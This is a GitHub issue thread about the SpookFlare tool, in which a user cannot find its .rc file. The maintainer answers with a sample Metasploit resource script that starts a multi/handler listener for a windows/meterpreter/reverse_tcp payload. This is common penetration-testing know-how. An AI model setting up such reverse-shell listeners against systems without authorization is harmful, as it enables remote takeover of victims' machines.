Skip to content
This repository has been archived by the owner on Jan 18, 2024. It is now read-only.

Problem With SpookFlare.rc #9

Closed
Daavide opened this issue Jun 20, 2018 · 3 comments
Closed

Problem With SpookFlare.rc #9

Daavide opened this issue Jun 20, 2018 · 3 comments

Comments

@Daavide
Copy link

Daavide commented Jun 20, 2018

Hello and congratulation for the great tool.
Im encountering a problem while operating with the tool.
Following the instructional video i'm not able to find the SpookFlare.rc file
spookflare_problem

Here also what i have in the folder
spookflare_problem2

in the end, im having this error:
spookflare_problem3

Is there a way to fix this ? I'll be waiting for an answer, thanks again!

@geekspeed
Copy link

pip install editorconfig

That will get rid of the last error. The RC file you need to build by hand.

@Daavide
Copy link
Author

Daavide commented Jun 21, 2018

Hi again geekspeed.
I'm sorry but im not able to generate the spookflare.rc file.
Can you please gently provide me a sample so i can understand better ?
Thanks!

@hlldz
Copy link
Owner

hlldz commented Jun 26, 2018

In short, RC files are files that contain the commands to run in Metasploit. Once you open Metasploit, Metasploit can read the commands from the file and process them quickly.

For example, I want to start listen mode for meterpreter/reverse_tcp payload and I can write the commands in a file and run Metasploit as follows.

file.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
exploit -j -z

Metasploit start command
msfconsole -r file.rc

I would suggest you read the following content.
https://metasploit.help.rapid7.com/docs/resource-scripts

@hlldz hlldz closed this as completed Jul 8, 2018
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants